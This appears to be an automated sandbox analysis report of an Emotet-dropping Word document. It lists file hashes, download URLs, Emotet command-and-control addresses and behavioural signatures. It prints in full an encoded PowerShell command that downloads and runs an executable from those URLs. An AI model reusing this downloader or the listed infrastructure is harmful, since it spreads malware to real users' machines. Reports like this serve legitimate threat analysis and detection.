Analysis
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max time kernel
142s -
max time network
153s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
01-08-2020 19:37
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen2.12168.628.10714.doc
Resource
win7v200722
General
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Target
SecuriteInfo.com.Exploit.Siggen2.12168.628.10714.doc
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Size
175KB
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MD5
f45feed4990d9cd2fd39f0c65d6f9ce1
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SHA1
fca6543360cd426837f6d1e51113b1e9913e9ec9
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SHA256
09eb830504d741bcee262df02b0ab081a25e11103b0dbb29bba815277d9f43ad
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SHA512
28daa98ffde7b44cc7209db76ea02d913156a2ee0d798af82afb0ef7835f6f38ac4edaa607238af3a9640113e530fed7ef38b72aff8954eb516aa208fbf6d260
Malware Config
Extracted
http://www.librero.xyz/Scripts/3y_m0cbe_lpgoj7z/
https://scoenuganda.org/wp-admin/k_fhsvc_wni2zxzrc/
https://www.dunnriteplumbing.ca/wp-admin/12x_jaaq_o3/
http://www.najcosmetics.com/img/hvglv_hay_35sacodg/
http://www.oxahaus.com/wp-admin/d8teb_n0v0h_dm0uyok/
Extracted
emotet
142.105.151.124:443
62.108.54.22:8080
212.51.142.238:8080
71.208.216.10:80
108.48.41.69:80
83.110.223.58:443
210.165.156.91:80
104.131.44.150:8080
104.236.246.93:8080
5.39.91.110:7080
209.141.54.221:8080
209.182.216.177:443
153.126.210.205:7080
91.211.88.52:7080
180.92.239.110:8080
183.101.175.193:80
162.241.92.219:8080
87.106.139.101:8080
114.146.222.200:80
65.111.120.223:80
113.160.130.116:8443
190.160.53.126:80
62.75.141.82:80
46.105.131.87:80
203.153.216.189:7080
46.105.131.79:8080
91.231.166.124:8080
81.2.235.111:8080
189.212.199.126:443
95.9.185.228:443
169.239.182.217:8080
47.153.182.47:80
116.203.32.252:8080
139.130.242.43:80
75.139.38.211:80
41.60.200.34:80
47.144.21.12:443
103.86.49.11:8080
95.179.229.244:8080
173.91.22.41:80
70.167.215.250:8080
110.145.77.103:80
85.59.136.180:8080
5.196.74.210:8080
24.234.133.205:80
76.27.179.47:80
104.131.11.150:443
87.106.136.232:8080
61.19.246.238:443
201.173.217.124:443
176.111.60.55:8080
200.55.243.138:8080
74.208.45.104:8080
139.59.60.244:8080
67.241.24.163:8080
24.43.99.75:80
93.51.50.171:8080
109.74.5.95:8080
137.59.187.107:8080
37.139.21.175:8080
157.245.99.39:8080
124.45.106.173:443
47.146.117.214:80
95.213.236.64:8080
62.138.26.28:8080
190.55.181.54:443
24.179.13.119:80
152.168.248.128:443
222.214.218.37:4143
168.235.67.138:7080
181.230.116.163:80
121.124.124.40:7080
79.98.24.39:8080
37.187.72.193:8080
162.154.38.103:80
78.24.219.147:8080
200.41.121.90:80
185.94.252.104:443
50.116.86.205:8080
Signatures
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Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powersheLL.exeMshtmlDac.exepid process 3840 powersheLL.exe 3840 powersheLL.exe 3840 powersheLL.exe 764 MshtmlDac.exe 764 MshtmlDac.exe 764 MshtmlDac.exe 764 MshtmlDac.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
463.exedescription pid process target process PID 3504 wrote to memory of 764 3504 463.exe MshtmlDac.exe PID 3504 wrote to memory of 764 3504 463.exe MshtmlDac.exe PID 3504 wrote to memory of 764 3504 463.exe MshtmlDac.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/3504-13-0x0000000000510000-0x000000000051C000-memory.dmp emotet behavioral2/memory/3504-13-0x0000000000510000-0x000000000051C000-memory.dmp emotet behavioral2/memory/764-16-0x00000000020D0000-0x00000000020DC000-memory.dmp emotet behavioral2/memory/764-16-0x00000000020D0000-0x00000000020DC000-memory.dmp emotet -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
WINWORD.EXE463.exeMshtmlDac.exepid process 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 3504 463.exe 764 MshtmlDac.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2080 WINWORD.EXE 2080 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3840 640 powersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Drops file in System32 directory 1 IoCs
Processes:
463.exedescription ioc process File opened for modification C:\Windows\SysWOW64\usbperf\MshtmlDac.exe 463.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3840 powersheLL.exe -
Blacklisted process makes network request 2 IoCs
Processes:
powersheLL.exeflow pid process 19 3840 powersheLL.exe 21 3840 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
463.exeMshtmlDac.exepid process 3504 463.exe 764 MshtmlDac.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12168.628.10714.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAFcAVQBIAE8AYQBxAHQAPQAnAFoAVwBSAEcAVwBiAHQAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIAaQB0AGAAeQBgAFAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQgBJAFIAUwBCAHEAeQBnACAAPQAgACcANAA2ADMAJwA7ACQARgBKAEkATgBFAGoAaQBkAD0AJwBUAEYARwBEAEIAbAB2AGMAJwA7ACQASgBCAFIAVQBGAGUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAEkAUgBTAEIAcQB5AGcAKwAnAC4AZQB4AGUAJwA7ACQAQwBNAFEARABMAG0AcwBzAD0AJwBWAE0AUABaAEMAZQBjAGIAJwA7ACQAWgBaAFYASgBBAHYAagBuAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUATgBUADsAJABaAE8ATgBGAFQAcgBqAGwAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBsAGkAYgByAGUAcgBvAC4AeAB5AHoALwBTAGMAcgBpAHAAdABzAC8AMwB5AF8AbQAwAGMAYgBlAF8AbABwAGcAbwBqADcAegAvACoAaAB0AHQAcABzADoALwAvAHMAYwBvAGUAbgB1AGcAYQBuAGQAYQAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBfAGYAaABzAHYAYwBfAHcAbgBpADIAegB4AHoAcgBjAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHUAbgBuAHIAaQB0AGUAcABsAHUAbQBiAGkAbgBnAC4AYwBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AMQAyAHgAXwBqAGEAYQBxAF8AbwAzAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbgBhAGoAYwBvAHMAbQBlAHQAaQBjAHMALgBjAG8AbQAvAGkAbQBnAC8AaAB2AGcAbAB2AF8AaABhAHkAXwAzADUAcwBhAGMAbwBkAGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBvAHgAYQBoAGEAdQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkADgAdABlAGIAXwBuADAAdgAwAGgAXwBkAG0AMAB1AHkAbwBrAC8AJwAuACIAcwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABKAEkAUABYAEcAeAB2AGEAPQAnAFMAVABQAFYAQQB6AGwAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBIAFgAQwBIAHAAbgB5ACAAaQBuACAAJABaAE8ATgBGAFQAcgBqAGwAKQB7AHQAcgB5AHsAJABaAFoAVgBKAEEAdgBqAG4ALgAiAGQAbwBgAHcATgBMAGAATwBBAEQARgBpAGAAbABlACIAKAAkAE0ASABYAEMASABwAG4AeQAsACAAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARwBCAFgAVgBVAG0AdABtAD0AJwBGAFUARABDAEIAYQBxAG0AJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABKAEIAUgBVAEYAZQBzAG8AKQAuACIATABFAGAATgBHAFQASAAiACAALQBnAGUAIAAzADQAOAA1ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGAARQBhAHQAZQAiACgAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARgBGAFQASQBMAGEAYQB5AD0AJwBaAEwAUQBPAEYAZgB2AHoAJwA7AGIAcgBlAGEAawA7ACQATgBPAEMARABVAGcAcABnAD0AJwBRAFIAUABGAE8AZwBzAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBTAE0AVgBVAG4AdABtAD0AJwBQAEcAWABXAEYAYQBzAHoAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
-
C:\Users\Admin\463.exeC:\Users\Admin\463.exe1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
- Executes dropped EXE
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C:\Windows\SysWOW64\usbperf\MshtmlDac.exe"C:\Windows\SysWOW64\usbperf\MshtmlDac.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\463.exe
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C:\Users\Admin\463.exe
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C:\Windows\SysWOW64\usbperf\MshtmlDac.exe
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memory/764-14-0x0000000000000000-mapping.dmp
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memory/764-16-0x00000000020D0000-0x00000000020DC000-memory.dmpFilesize
48KB
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memory/2080-4-0x0000018FE4697000-0x0000018FE46B1000-memory.dmpFilesize
104KB
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memory/3504-13-0x0000000000510000-0x000000000051C000-memory.dmpFilesize
48KB